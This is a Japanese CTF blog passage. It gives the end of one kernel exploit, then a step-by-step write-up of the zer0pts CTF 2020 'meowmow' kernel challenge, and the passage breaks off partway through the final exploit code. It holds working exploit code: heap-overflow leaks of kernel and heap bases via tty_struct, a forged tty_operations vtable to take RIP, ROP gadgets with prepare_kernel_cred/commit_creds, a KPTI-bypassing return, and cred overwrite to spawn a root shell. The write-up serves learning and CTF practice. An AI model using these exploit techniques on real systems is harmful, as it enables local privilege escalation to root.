diff_copy_to_user = 0x353ee0; memset(buf, 0x00, sizeof(buf)); // open miscdevice //if((fd=open("/dev/note",O_RDWR))<0) // O_RDWR would be rejected due to permission error if((fd=open("/dev/note",O_RDONLY))<0) errExit("open-/dev/note"); // leak secret buf[0x10+0x8] = 0xff; // overwrite note1's size, which is allocated later _create(buf, 0x19); register_userfaultfd_and_halt(); sleep(1); _edit(0, addr); // invoke page fault and call fault_handler _read(1, buf); printf("[+] buf addr: %p\n",buf); printf("[!] head of leaked data:\n"); for(int ix=0; ix!=0x8; ++ix){ printf("\t%llx\n", ((unsigned long*)buf)[ix]); } secret = (void*)((unsigned long*)buf)[0x2]; printf("[!] secret: %p\n", secret); // leak content_ptr memset(buf, 0x00, sizeof(buf)); _create(buf, 0x10); // idx:2 _read(1, buf); printf("[!] leaked data decrypted with secret: %llx:\n",secret); for(int ix=0;ix!=0x10; ++ix){ printf("\t%llx\n", ((unsigned long*)buf)[ix] ^ secret); } content_ptr = ((unsigned long*)buf)[4] ^ secret; printf("[!] content_ptr of note2: %p\n",(void*)content_ptr); dif_main_buf = content_ptr - 0x68; // main_buf - page_offset_base dif_notes_array = dif_main_buf + (0x102b60 - 0x100b60); // notes_array - page_offset_base printf("[!] dif_notes_array: %p\n",(void*)dif_notes_array); // leak modulebase & page_offset_base ((unsigned long*)buf)[0] = 0; // content of note1 ((unsigned long*)buf)[1] = 0; // content of note1 ((unsigned long*)buf)[2] = 0; // secret of note2 ((unsigned long*)buf)[3] = 8; // size of note2 ((unsigned long*)buf)[4] = dif_notes_array; // content_ptr of note2 for(int ix=0; ix!=5; ++ix){ // encrypt ((unsigned long*)buf)[ix] = ((unsigned long*)buf)[ix] ^ secret; } _edit(1, buf); // overwrite note2's content_ptr into notes_array _read(2, buf); // read &note0 printf("[!] leaked data decrypted with secret: 0x00:\n"); for(int ix=0;ix!=0x8; ++ix){ printf("\t%llx\n", ((unsigned long*)buf)[ix]); // notes are no more encrypted } modulebase = (((unsigned long*)buf)[0]) - 0x2520; page_offset_base = (((unsigned long*)buf)[0]) + 0x68 - content_ptr; printf("[!] modulebase: %p\n",(void*)modulebase); printf("[!] page_offset_base: %p\n",(void*)page_offset_base); /* now we have AAW/AAR, not limited to relative one */ // read instruction rip_call_copy_to_user = modulebase + 0x1cc; ((unsigned long*)buf)[0] = 0; // content of note1 ((unsigned long*)buf)[1] = 0; // content of note1 ((unsigned long*)buf)[2] = 0; // secret of note2 ((unsigned long*)buf)[3] = 8; // size of note2 ((unsigned long*)buf)[4] = rip_call_copy_to_user - page_offset_base; // content_ptr of note2 for(int ix=0; ix!=5; ++ix){ // encrypt ((unsigned long*)buf)[ix] = ((unsigned long*)buf)[ix] ^ secret; } _edit(1, buf); // overwrite note2's content_ptr into notes_array _read(2, buf); // read instruction printf("[!] instruction call copy_to_user():\n\t"); for(int ix=0; ix!=5; ++ix){ printf("%02x ", *(unsigned char*)(buf + ix)); } printf("\n"); // calc addr of call_to_user and kern_textbase addr_copy_to_user = rip_call_copy_to_user; rel_jmp_offset = 0; for(int ix=0; ix!=4; ++ix){ //addr_copy_to_user += (unsigned long)(*(unsigned char*)(buf + ix + 1)) << (8*ix + 32); rel_jmp_offset += (unsigned long)(*(unsigned char*)(buf + ix + 1)) << (8*ix); } addr_copy_to_user = (signed int)rel_jmp_offset + addr_copy_to_user + 5; // relational jmp uses RIP for "next" instruction's addr, so add len(call copy_to_user) printf("[!] copy_to_user: %p\n",(void*)addr_copy_to_user); kern_textbase = addr_copy_to_user - diff_copy_to_user; printf("[!] kern_textbase: %p\n",(void*)kern_textbase); /* task_struct はデバイスオプションによって中身がかなり変わるため、+0x7e8がどのメンバが突き止めるのはムリ */ /* struct task_struct 中の char comm[0x10] という、executable nameを格納するメンバがある prctl(PR_SET_NAME) によってこの current->comm を変更することができる */ if(prctl(PR_SET_NAME, "FuckThisSummer") == -1) // change current->comm into "FuckThisSummer" errExit("prctl"); for(unsigned long ix=0; 1==1; ix+=0x50){ tmp_addr = page_offset_base + ix; // target of search if(ix%0x100000*2==0) printf("[.] searching %llx ...\n", tmp_addr); memset(buf, 0x00, 0x100); ((unsigned long*)buf)[0] = 0; // content of note1 ((unsigned long*)buf)[1] = 0; // content of note1 ((unsigned long*)buf)[2] = 0; // secret of note2 ((unsigned long*)buf)[3] = 0xff; // size of note2 ((unsigned long*)buf)[4] = tmp_addr - page_offset_base; // content_ptr of note2 for(int ix=0; ix!=5; ++ix){ // encrypt ((unsigned long*)buf)[ix] = ((unsigned long*)buf)[ix] ^ secret; } _edit(1, buf); _read(2, buf); tmp_addr = memmem(buf, 0x100, "FuckThisSummer", sizeof("FuckThisSummer")); if(tmp_addr != NULL){ addr_cred = *(unsigned long*)((unsigned long)tmp_addr - 8); tmp_addr = page_offset_base + ix + (buf - (unsigned long)tmp_addr); printf("\n[!!] FOUND current_task.comm: %p\n",(void*)tmp_addr); printf("\n[!!] FOUND cred: %p\n",(void*)addr_cred); break; } } // いくらデバッグオプションでメンバが違うと言っても、credとcommは隣り合っているから大丈夫 // leak cred // overwrite content_ptr of note2 into cred memset(tmp_buf, 0x00, 0x100); ((unsigned long*)tmp_buf)[0] = 0; // content of note1 ((unsigned long*)tmp_buf)[1] = 0; // content of note1 ((unsigned long*)tmp_buf)[2] = 0; // secret of note2 ((unsigned long*)tmp_buf)[3] = 0x20; // size of note2 ((unsigned long*)tmp_buf)[4] = addr_cred + 4 - page_offset_base; // +4 is to avoid atomic_t usage for(int ix=0; ix!=5; ++ix){ // encrypt ((unsigned long*)tmp_buf)[ix] = ((unsigned long*)tmp_buf)[ix] ^ secret; } _edit(1, tmp_buf); // Overwrite current->cred->uid into zero puts("[+] overwrite current->uid"); memset(buf, 0x00, 0x100); _edit(2, buf); // pop shell and happy birthday! puts("[!!!] popping shell...\n"); pop_shell(); return 0; }

 

 

11: アウトロ

f:id:smallkirby:20200809084810p:plain

GOT A FLAGG!

 

歳を取りたくなさすぎて泣いています

 

 

 

 

 

 

 

 

 

 

続く...

 

 

 

 

 

 

 

【pwn 27.0】 meowmow (kernel exploit) - zer0pts CTF 2020

 

keywords

kernel exploit / step-by-step kern exploit walk-through / buffer overflow / forge vtable / kernel ROP

 

 

 

0: 参考

 【A】pr0cfsさんのwriteup

pr0cf5.github.io

【B】作問者さんのwriteup

hackmd.io

 

【C】kernel pwn 全般に関する pr0cfs さんの素晴らしい解説

github.com

 

1: イントロ

 いつぞや行われた zer0pts CTFpwn 問題 meowmow

 kernel exploit である本問の解き直しをする

と思ったまま早数ヶ月が経ってしまった

やっぱりkernel問に慣れていなさすぎて、やるまでに必要なエネルギーが大きくなりすぎてしまう

結局は、簡単な問題を数こなす内に慣れていくしかないのであろう

何はともあれ、このCTFのpwnは全部解き直すと決めていたので、コレで完了

 

尚自分はkernel exploitに関しては未だに右も左もわからない初心者以下のため

自分用の備忘録も兼ねて

自分と同じ初心者でも再現できるよう導入から丁寧にメモしていこうと思う

 

また、本エントリは参考【A】【B】をなぞっているだけであり

それ以上の新しい知識は一切出てこないことは留意して頂きたい

 

2: 準備

配布ファイル

配布ファイルは以下の通り

 

bzImage:

kernelイメージファイル。 バージョン情報等は以下の通り

$ uname -a
Linux (none) 4.19.98 #2 SMP Wed Feb 5 21:57:51 JST 2020 x86_64 GNU/Linux

 

rootfs.cpio:

ファイルシステムアーカイブファイル

kernelがブートした後メモリ上にロードされる

 

start.sh:

QEMUからkernelを起動する際のオプション等が記述されたファイル

 

memo.c:

本問で使用するLKMのソースファイル。シンプル

 

デバッグ環境の整備

 

kernelは当然strippedされていてデバッグがしにくい

そのため、自分でkernelを落としてきてデバッグ情報付きでビルドする必要がある(本当に必要かは知らない。debug-infoなしでいける人はいけるのかもしれない)

それと同時に、ビルドしたkernelに合わせてLKMも自前ビルドする

 

kernelのビルド

まずはkernelのビルドから

git clone git://git.kernel.org/pub/scm/linux/kernel/git/stable/linux-stable.git
cd ./linux-stable
git checkout v4.19.98
make allnoconfig
make menuconfig
 # 内容は以下の .config 参照
make -j16
cp ./arch/x86/boot/bzImage ~/YOUR_WORK_SPACE

 

この際の .config ファイルは以下のリポジトリに一例をあげておいた

github.com

 

モジュールのビルド

続いてLKMをビルドする

以下のようなMakefileを作っておいてmakeするだけでOK

obj-m += memo.o
all:
		make -C /home/wataru/linux-stable/ M=$(PWD)  modules
		EXTRA_CFLAGS="-g DDEBUG"
clean:
		make -C /home/wataru/linux-stable/ M=$(PWD) clean
$ make
make -C /home/wataru/linux-stable/ M=/home/wataru/Documents/ctf/zer0pts2020/meowmeow/work/build  modules
make[1]: Entering directory '/home/wataru/linux-stable'
  Building modules, stage 2.
  MODPOST 1 modules
make[1]: Leaving directory '/home/wataru/linux-stable'
EXTRA_CFLAGS="-g DDEBUG"

$ modinfo ./memo.ko
filename:       /home/wataru/Documents/ctf/zer0pts2020/meowmeow/work/build/./memo.ko
description:    zer0pts CTF 2020 meowmow
author:         ptr-yudai
license:        GPL
depends:
name:           memo
vermagic:       4.19.98

 

ファイルシステムの展開・圧縮

 続いてファイルシステムデバッグ用のディレクトリを作成しておく

ファイルシステムの展開・圧縮には以下のスクリプトを使用することができる

$ cat ./extract.sh
#!/bin/sh

sudo rm -r ./extracted
mkdir extracted
cd extracted
cpio -idv < ../rootfs.cpio
cd ../

$ cat ./compress.sh
#!/bin/sh

rm ./myrootfs.cpio
cd ./extracted
find ./ -print0 | cpio --owner root --null -o --format=newc > ../myrootfs.cpio
cd ../

 

ついでにファイルシステム中の init ファイルもデバッグしやすいように書き換えておく

$ cat ./extracted/init
#!/bin/sh
# devtmpfs does not get automounted for initramfs
/bin/mount -t proc proc /proc
/bin/mount -t sysfs sysfs /sys
/bin/mount -t devtmpfs devtmpfs /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
#echo 1 > /proc/sys/kernel/kptr_restrict
#echo 1 > /proc/sys/kernel/dmesg_restrict
echo 0 > /proc/sys/kernel/kptr_restrict
echo 0 > /proc/sys/kernel/dmesg_restrict

chown root:root /flag
chmod 400 /flag
insmod /root/memo.ko
mknod -m 666 /dev/memo c `grep memo /proc/devices | awk '{print $1;}'` 0

echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
cat /root/banner

#setsid /bin/cttyhack setuidgid 1000 /bin/sh
setsid /bin/cttyhack setuidgid 0 /bin/sh

umount /proc
umount /sys
poweroff -d 0 -f

 

 それから、自前で用意したdebug-info付きのkernelやモジュール等を使用するように起動スクリプトも書き換えておく

$ cat ./start.sh
#!/bin/sh
qemu-system-x86_64 \
    -m 256M \
    -kernel ./pure/bzImage \
    -initrd ./myrootfs.cpio \
    -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet" \
    -cpu kvm64,+smep,+smap \
    -monitor /dev/null \
    -nographic -enable-kvm \
    -s

 

 ここまでできたら一度kernelを起動して、正常に作動すること(LKMがインストールされていること)を確認する

f:id:smallkirby:20200722213437p:plain

動作確認

 

GDBでアタッチ

それでは最後にGDBデバッグできる状態にする

既に起動スクリプトの中でQEMUを -s オプション付きで起動しているため、localhostの1234ポートに接続することでデバッガをアタッチできる

尚、GDBの起動は上でビルドした対象の Kernel Tree の中で行い、そのトップディレクトリに自前ビルドしたモジュール(.ko)も置いておく

そうすると、Kernelが提供するGDBスクリプトによって lx-symbols コマンドが使えるようになる

$ pwd
/home/wataru/linux-stable
$ ls | grep memo
-rw-rw-r--   1 wataru wataru    212544 Jul 22 21:31 memo.ko
$ pwndbg ./vmlinux
pwndbg> target remote :1234
pwndbg> lx-symbols
loading vmlinux
scanning for modules in /home/wataru/linux-stable
loading @0xffffffffa0000000: /home/wataru/linux-stable/memo.ko
pwndbg> b mod_open
Breakpoint 1 at 0xffffffffa0000140: mod_open. (2 locations)

すると、以下のようにいつもどおりのデバッグができるようになる

尚、デバッグ環境を整えるためにはkernelのビルド時に諸々の設定をする必要があるため、これも上に挙げたリポジトリのファイルを参照のこと

f:id:smallkirby:20200722214245p:plain

ユーザランドと同様にデバッグできているの巻

 

おまけ

配布された bzImage を展開して何かを調べたい場合には以下の通り

github.com

 

vanila gdb ではなく何らかの plugin (今回の場合pwndbg/peda) を使用した場合、デバッグ時に何かしら不都合が出てくる可能性もあるらしい (今回は何も困らなかった)

 

 

3.Bugs

カーネルモジュールのソースコードを見ると、明らかな heap overflowがある

 

 

これを利用して heap 領域にある kernel symbol を leak する

以下の記事に kernel pwn で使える構造体がまとまっている

ptr-yudai.hatenablog.com

 

隣接するバッファの値しか読み書きできないという都合上、選択する構造体は「任意のタイミングでallocすることができる」必要がある

また、モジュールが作るバッファのサイズは 0x400 であるため、スラブとして kmalloc-1024 が使われる

よって今回はサイズ0x2e4で同様に kmalloc-1024 が使われる tty_struct を利用することにする

この構造体は /dev/ptmx を open() すると alloc される

struct tty_struct のメンバとサイズ・オフセットは以下のとおりである

pwndbg> ptype /o struct tty_struct
/* offset    |  size */  type = struct tty_struct {
/*    0      |     4 */    int magic;
/*    4      |     4 */    struct kref {
/*    4      |     4 */        refcount_t refcount;

                               /* total size (bytes):    4 */
                           } kref;
/*    8      |     8 */    struct device *dev;
/*   16      |     8 */    struct tty_driver *driver;
/*   24      |     8 */    const struct tty_operations *ops;
/*   32      |     4 */    int index;
/* XXX  4-byte hole  */
/*   40      |    48 */    struct ld_semaphore {
/*   40      |     8 */        atomic_long_t count;
/*   48      |     0 */        raw_spinlock_t wait_lock;
/*   48      |     4 */        unsigned int wait_readers;
/* XXX  4-byte hole  */
/*   56      |    16 */        struct list_head {
/*   56      |     8 */            struct list_head *next;
/*   64      |     8 */            struct list_head *prev;

                                   /* total size (bytes):   16 */
                               } read_wait;
/*   72      |    16 */        struct list_head {
/*   72      |     8 */            struct list_head *next;
/*   80      |     8 */            struct list_head *prev;

                                   /* total size (bytes):   16 */
                               } write_wait;

                               /* total size (bytes):   48 */
                           } ldisc_sem;
/*   88      |     8 */    struct tty_ldisc *ldisc;
/*   96      |    24 */    struct mutex {
/*   96      |     8 */        atomic_long_t owner;
/*  104      |     0 */        spinlock_t wait_lock;
/*  104      |    16 */        struct list_head {
/*  104      |     8 */            struct list_head *next;
/*  112      |     8 */            struct list_head *prev;

                                   /* total size (bytes):   16 */
                               } wait_list;

                               /* total size (bytes):   24 */
                           } atomic_write_lock;
/*  120      |    24 */    struct mutex {
/*  120      |     8 */        atomic_long_t owner;
/*  128      |     0 */        spinlock_t wait_lock;
/*  128      |    16 */        struct list_head {
/*  128      |     8 */            struct list_head *next;
/*  136      |     8 */            struct list_head *prev;

                                   /* total size (bytes):   16 */
                               } wait_list;

                               /* total size (bytes):   24 */
                           } legacy_mutex;
/*  144      |    24 */    struct mutex {
/*  144      |     8 */        atomic_long_t owner;
/*  152      |     0 */        spinlock_t wait_lock;
/*  152      |    16 */        struct list_head {
/*  152      |     8 */            struct list_head *next;
/*  160      |     8 */            struct list_head *prev;

                                   /* total size (bytes):   16 */
                               } wait_list;

                               /* total size (bytes):   24 */
                           } throttle_mutex;
/*  168      |    24 */    struct rw_semaphore {
/*  168      |     8 */        atomic_long_t count;
/*  176      |    16 */        struct list_head {
/*  176      |     8 */            struct list_head *next;
/*  184      |     8 */            struct list_head *prev;

                                   /* total size (bytes):   16 */
                               } wait_list;
/*  192      |     0 */        raw_spinlock_t wait_lock;

                               /* total size (bytes):   24 */
                           } termios_rwsem;
/*  192      |    24 */    struct mutex {
/*  192      |     8 */        atomic_long_t owner;
/*  200      |     0 */        spinlock_t wait_lock;
/*  200      |    16 */        struct list_head {
/*  200      |     8 */            struct list_head *next;
/*  208      |     8 */            struct list_head *prev;

                                   /* total size (bytes):   16 */
                               } wait_list;

                               /* total size (bytes):   24 */
                           } winsize_mutex;
/*  216      |     0 */    spinlock_t ctrl_lock;
/*  216      |     0 */    spinlock_t flow_lock;
/*  216      |    44 */    struct ktermios {
/*  216      |     4 */        tcflag_t c_iflag;
/*  220      |     4 */        tcflag_t c_oflag;
/*  224      |     4 */        tcflag_t c_cflag;
/*  228      |     4 */        tcflag_t c_lflag;
/*  232      |     1 */        cc_t c_line;
/*  233      |    19 */        cc_t c_cc[19];
/*  252      |     4 */        speed_t c_ispeed;
/*  256      |     4 */        speed_t c_ospeed;

                               /* total size (bytes):   44 */
                           } termios;
/*  260      |    44 */    struct ktermios {
/*  260      |     4 */        tcflag_t c_iflag;
/*  264      |     4 */        tcflag_t c_oflag;
/*  268      |     4 */        tcflag_t c_cflag;
/*  272      |     4 */        tcflag_t c_lflag;
/*  276      |     1 */        cc_t c_line;
/*  277      |    19 */        cc_t c_cc[19];
/*  296      |     4 */        speed_t c_ispeed;
/*  300      |     4 */        speed_t c_ospeed;

                               /* total size (bytes):   44 */
                           } termios_locked;
/*  304      |     8 */    struct termiox *termiox;
/*  312      |    64 */    char name[64];
/*  376      |     8 */    struct pid *pgrp;
/*  384      |     8 */    struct pid *session;
/*  392      |     8 */    unsigned long flags;
/*  400      |     4 */    int count;
/*  404      |     8 */    struct winsize {
/*  404      |     2 */        unsigned short ws_row;
/*  406      |     2 */        unsigned short ws_col;
/*  408      |     2 */        unsigned short ws_xpixel;
/*  410      |     2 */        unsigned short ws_ypixel;

                               /* total size (bytes):    8 */
                           } winsize;
/*  412: 0   |     8 */    unsigned long stopped : 1;
/*  412: 1   |     8 */    unsigned long flow_stopped : 1;
/* XXX  6-bit hole   */
/* XXX  3-byte hole  */
/*  416: 0   |     8 */    unsigned long unused : 62;
/* XXX  2-bit hole   */
/*  424      |     4 */    int hw_stopped;
/*  428: 0   |     8 */    unsigned long ctrl_status : 8;
/*  429: 0   |     8 */    unsigned long packet : 1;
/* XXX  7-bit hole   */
/* XXX  2-byte hole  */
/*  432: 0   |     8 */    unsigned long unused_ctrl : 55;
/* XXX  1-bit hole   */
/* XXX  1-byte hole  */
/*  440      |     4 */    unsigned int receive_room;
/*  444      |     4 */    int flow_change;
/*  448      |     8 */    struct tty_struct *link;
/*  456      |     8 */    struct fasync_struct *fasync;
/*  464      |    16 */    wait_queue_head_t write_wait;
/*  480      |    16 */    wait_queue_head_t read_wait;
/*  496      |    32 */    struct work_struct {
/*  496      |     8 */        atomic_long_t data;
/*  504      |    16 */        struct list_head {
/*  504      |     8 */            struct list_head *next;
/*  512      |     8 */            struct list_head *prev;

                                   /* total size (bytes):   16 */
                               } entry;
/*  520      |     8 */        work_func_t func;

                               /* total size (bytes):   32 */
                           } hangup_work;
/*  528      |     8 */    void *disc_data;
/*  536      |     8 */    void *driver_data;
/*  544      |     0 */    spinlock_t files_lock;
/*  544      |    16 */    struct list_head {
/*  544      |     8 */        struct list_head *next;
/*  552      |     8 */        struct list_head *prev;

                               /* total size (bytes):   16 */
                           } tty_files;
/*  560      |     4 */    int closing;
/* XXX  4-byte hole  */
/*  568      |     8 */    unsigned char *write_buf;
/*  576      |     4 */    int write_cnt;
/* XXX  4-byte hole  */
/*  584      |    32 */    struct work_struct {
/*  584      |     8 */        atomic_long_t data;
/*  592      |    16 */        struct list_head {
/*  592      |     8 */            struct list_head *next;
/*  600      |     8 */            struct list_head *prev;

                                   /* total size (bytes):   16 */
                               } entry;
/*  608      |     8 */        work_func_t func;

                               /* total size (bytes):   32 */
                           } SAK_work;
/*  616      |     8 */    struct tty_port *port;

                           /* total size (bytes):  624 */
                         }

 

この内、const struct tty_operations *ops; は vtable へのポインタとして kernel symbol を指しているため kernelbase の leak に利用することができる

 

実際に /dev/ptmx を open したあとで上の構造体を確認してみると以下のようになった

f:id:smallkirby:20200722233232p:plain

opsは 0xffffffff816191e0 <ptm_unix98_ops> を指している

この時、kernelbase は以下の通り0xffffffff81000000 であったから、そのオフセットは 0x6191e0であることが分かる

f:id:smallkirby:20200722234431p:plain

kernelbase

 

 

一旦以下のスクリプトで kearnelbase/kernelheap の leak が可能であることを確認してみる

#include<stdio.h>
#include<stdlib.h>
#include<fcntl.h>
#include<unistd.h>
#include<sys/ioctl.h>
#include<sys/types.h>

#define ulong unsigned long

int main(void)
{
  int memo = open("/dev/memo",O_RDWR);
  int ptmx = open("/dev/ptmx",O_RDWR | O_NOCTTY);
  char buf[0x400];
  ulong off_ptm_unix98_ops_kernbase = 0x6191e0;
  ulong kernbase;

  lseek(memo,0x300,SEEK_SET);
  read(memo,buf,0x400);

  kernbase = *(unsigned long*)(buf + 0x100 + 0x18) - off_ptm_unix98_ops_kernbase;
  printf("kernbase: %lx\n",kernbase);

  return 0;
}

 

尚、今回はライブラリが使えないため静的リンクしてファイルシステムに入れておく必要がある(組み込み用とかdiet-libcとかを使ってもいいが、別に今回はローカルでしか試さないからいいや)

$ gcc ./test1.c -o test1 --static
$ cp ./test1 ./extracted/dbg/
$ sh ./compress.sh

 

これを実行すると以下のようになる

f:id:smallkirby:20200722234617p:plain

leak kernelbase

/proc/kallsyms から調べられる kernbase と leak した kernbase が一致していることから、適切にleakできていることがわかる (root権限でないと /proc/kallsyms が読めないため、initファイルを書き換えてrootログインしている)

 

同様にして、tty_struct 中の struct ld_semaphore 中の struct list_head 中の struct list_head *next が 自分自身を指していることが上の画像より見てとれる

これにより、heapbase を leak することができる (offset: 0x438)

 

以上より、kernbase/heapbase ともに leak できたことになる

 

 

4. RIPをとる

この後の RIP の取り方にはいくらからあるだろうが、今回は参考【B】に準拠して進めていく (参考【B】では別のアプローチをとっている)

上に示した方法をwriteにも適用させることで、tty_structを自由に操作することができる 

この tty_struct は  struct tty_operations *ops という vtable へのポインタを保有しており、その vtable(ptm_unix98_ops) は以下のようになっている

f:id:smallkirby:20200723164221p:plain

ptm_unix98_ops

 この vtable へのポインタを不正に操作し、偽の vtable へ飛ばすことができれば RIP を奪取することができる

試しに以下のスクリプトで tty_struct.ops -> ioctl に該当するエントリに牛の死骸を挿入してみる

尚、tty_struct の他のエントリを破壊しないように事前に呼んだメモリに上書きする形でoverwriteしている

#include<stdio.h>
#include<stdlib.h>
#include<fcntl.h>
#include<unistd.h>
#include<sys/ioctl.h>
#include<sys/types.h>

#define ulong unsigned long

#define REAL
#undef REAL

int main(void)
{
  int memo = open("/dev/memo",O_RDWR);
  int ptmx = open("/dev/ptmx",O_RDWR | O_NOCTTY);
  char buf[0x400];
#ifndef REAL
  ulong off_ptm_unix98_ops_kernbase = 0x6191e0;
  ulong off_kernheap = 0x438;
  ulong gad1 = 0;
#else
  ulong off_ptm_unix98_ops_kernbase = 0;
  ulong off_kernheap = 0x438;
  ulong gad1 = 0x94d4e3;
#endif
  ulong kernbase, kernheap;

  lseek(memo,0x300,SEEK_SET);
  read(memo,buf,0x400);

  // leak kernbase and kernheap
  kernbase = *(unsigned long*)(buf + 0x100 + 0x18) - off_ptm_unix98_ops_kernbase;
  printf("kernbase: %lx\n",kernbase);
  kernheap = *(unsigned long*)(buf + 0x100 + 0x38) - off_kernheap;
  printf("kernheap: %lx\n",kernheap);

  // 
  //*(unsigned long*)(buf + 0xc*8) = gad1 + kernbase; // fake ioctl entry
  *(unsigned long*)(buf + 0xc*8) = 0xdeadbeef; // fake ioctl entry
  *(unsigned long*)(buf + 0x100 + 0x18) = kernheap + 0x300; // fake vtable pointer

  lseek(memo,0x300,SEEK_SET);
  write(memo,buf,0x400);
  ioctl(ptmx,0xdeadbeef,0xcafebabe);

  return 0;
}

 これを実行すると、以下の画像のように tty_struct.ops が memo バッファへのポインタに上書きされる

f:id:smallkirby:20200723202209p:plain

そしてこの forged vtable を struct tty_operations として読むと以下のようになる

f:id:smallkirby:20200723202301p:plain

forged vtable

これで ptmx に対して ioctl を呼ぶと 0xdeadbeef に RIP が移ることになるため、以下のように kernel は panic する

f:id:smallkirby:20200723202434p:plain

これでRIPをとれるようになった

 

 

但し、この kernel は SMAP/SMEP/KPTI が全て有効になっているため、ただ userland に帰ろうとしてもそれはできない。それぞれの機能を一言でまとめると以下のようになっている

 

SMEP: 特権モードから userland のコード実行を禁止する

SMAP: 特権モードから userland へのポインタの dereference を禁止する(userland へのアクセスを禁止する)/ ret2dir(physmap spray)でbypass

KPTI: 特権モードと非特権モードでページテーブルを分離する。Meltdown への対策として実装された

 

ここで、配布された kernel image を探すと以下のようなgadgetが見つかる 

$ ~/snipet/kernel/extract-vmlinux ./bzImage  > ./extracted_bzImage
$rp++ -f ./extracted_bzImage --unique -r 10 | grep "push r12" | grep "pop rsp"
0xffffffff8194d4e3: push r12 ; add dword [rbp+0x41], ebx ; pop rsp ; pop r13 ; ret  ;  (1 found)

 

すなわち、このgadgetをR12を任意の値にして呼ぶことができれば RSP を任意の値にセットすることができる 

また、ioctl() を呼ぶ時、tty_ioctl() の以下の箇所でその第2引数が r12 にセットされる

https://elixir.bootlin.com/linux/v4.19.98/source/drivers/tty/tty_io.c#L2542

f:id:smallkirby:20200723203310p:plain

 

すなわち、vtable の ioctl を上の gadget に書き換えた状態で ioctl() を呼ぶと、R12経由でRSP を任意の値にすることができる

(なお、自前ビルドしたkernelにおいては対象のgadgetは見つからなかった。ビルドコンフィグが違うから当たり前)

 

ということで実際の kernel image に即してオフセットを調べていっても良いのだが、それでは本家様のコードを丸パクリしてしまうことになってつまらないため、このまま自前ビルドのkernelを使っていくことにする

上の画像を見ると、RDX には第3引数の値が入っているため、代わりに以下のgadgetが使えそうだった

0xffffffff810243b8: push rdx ; pop rsp ; sub eax, 0x0002E5AC ; pop rax ; pop rbx ; pop r12 ; pop r13 ; pop r14 ; pop rbp ; ret  ;  (1 found)

 

 その後ろで色々と pop しているが、ROPの中にダミーの値を入れておけば、まあ大丈夫だろう

 

 

 

5. 定石のROP

RIP/RSPを自由に操作することができたらあとは定石の通り ROP を組むだけである

ROP中で行うことは以下の通り

 

prepare_kernel_cred() で init task の cred を入手

struct cred *prepare_kernel_cred(struct task_struct *daemon) は以下で定義される関数である

https://elixir.bootlin.com/linux/latest/source/kernel/cred.c#L679

 

daemon が NULL であった場合には以下の分岐に於いて init_cred の cred を返すことになる

	if (daemon)
		old = get_task_cred(daemon);
	else
		old = get_cred(&init_cred);

 

この cred は init に指される credential のため、これを現在実行中のプロセスに適用させることで root 権限を得ることができる

 

init_cred を適用させる

この cred を現在のプロセスに適用させるのが int commit_creds(struct task *new) である

https://elixir.bootlin.com/linux/latest/source/kernel/cred.c#L434

 

尚、これを呼ぶ前に prepare_kernel_cred() の返り値を rdi に移しておく必要がある

 

userlandへの帰還

これで無事特権を入手したため、あとは userland に帰って用意しておいたシェルをポップする関数を呼ぶだけである

但し前述したように KPTI 有効であるから単純に帰るだけではセグフォが起きる

前もって決められた手順に従わなくてはならない (or CR3, 0x1000)

これをしてくれるのが以下のswapgs_restore_regs_and_return_to_usermode マクロである

GLOBAL(swapgs_restore_regs_and_return_to_usermode)
#ifdef CONFIG_DEBUG_ENTRY
	/* Assert that pt_regs indicates user mode. */
	testb	$3, CS(%rsp)
	jnz	1f
	ud2
1:
#endif
	POP_REGS pop_rdi=0
 
	/*
	 * The stack is now user RDI, orig_ax, RIP, CS, EFLAGS, RSP, SS.
	 * Save old stack pointer and switch to trampoline stack.
	 */
	movq	%rsp, %rdi
	movq	PER_CPU_VAR(cpu_tss_rw + TSS_sp0), %rsp
 
	/* Copy the IRET frame to the trampoline stack. */
	pushq	6*8(%rdi)	/* SS */
	pushq	5*8(%rdi)	/* RSP */
	pushq	4*8(%rdi)	/* EFLAGS */
	pushq	3*8(%rdi)	/* CS */
	pushq	2*8(%rdi)	/* RIP */
 
	/* Push user RDI on the trampoline stack. */
	pushq	(%rdi)
 
	/*
	 * We are on the trampoline stack.  All regs except RDI are live.
	 * We can do future final exit work right here.
	 */
 
	SWITCH_TO_USER_CR3_STACK scratch_reg=%rdi
 
	/* Restore RDI. */
	popq	%rdi
	SWAPGS
	INTERRUPT_RETURN

 

 これを呼ぶことで、kernel land から user land に帰ることができるのだが、その際にスタック上に保存しておいた非特権モード時のレジスタの値を置いておく必要がある

そこで、以前のエントリでも使用したコードを使い予めexploitプログラム上でレジスタの値を記憶しておくことにする

smallkirby.hatenablog.com

static void save_state(void) {
  asm(
      "movq %%cs, %0\n"
      "movq %%ss, %1\n"
      "pushfq\n"
      "popq %2\n"
      : "=r" (user_cs), "=r" (user_ss), "=r" (user_rflags) : : "memory" 		);
}

 

 

 6. exploit

 ということで、ROPを組んで出来上がったコードが以下の通り

尚コレは配布 kernel ではなく自前ビルドした kernel 上でのみ動作する

KASLR等の有効設定は全て配布設定のままである

#include<stdio.h>
#include<stdlib.h>
#include<fcntl.h>
#include<unistd.h>
#include<sys/ioctl.h>
#include<sys/types.h>

#define ulong unsigned long

ulong user_cs,user_ss,user_sp,user_rflags;

void pop_shell(void)
{
  char *argv[] = {"/bin/sh",NULL};
  char *envp[] = {NULL};
  execve("/bin/sh",argv,envp);
}

static void save_state(void) {
  asm(
      "movq %%cs, %0\n"
      "movq %%ss, %1\n"
      "movq %%rsp, %2\n"
      "pushfq\n"
      "popq %3\n"
      : "=r" (user_cs), "=r" (user_ss), "=r"(user_sp), "=r" (user_rflags) : : "memory" 		);
}

int main(void)
{
  int memo = open("/dev/memo",O_RDWR);
  int ptmx = open("/dev/ptmx",O_RDWR | O_NOCTTY);
  char buf[0x400];
  ulong *rop;
  ulong kernbase, kernheap;

  /**** gadgets ****/
  ulong off_ptm_unix98_ops_kernbase = 0x6191e0;
  ulong off_kernheap = 0x438;
  // 0xffffffff810243b8: push rdx ; pop rsp ; sub eax, 0x0002E5AC ; pop rax ; pop rbx ; pop r12 ; pop r13 ; pop r14 ; pop rbp ; ret  ;  (1 found)
  ulong gad1 = 0x243b8;
  // 0xffffffff810e7ae8: pop rdi ; ret  ;  (47 found)
  ulong pop_rdi = 0xe7ae8;
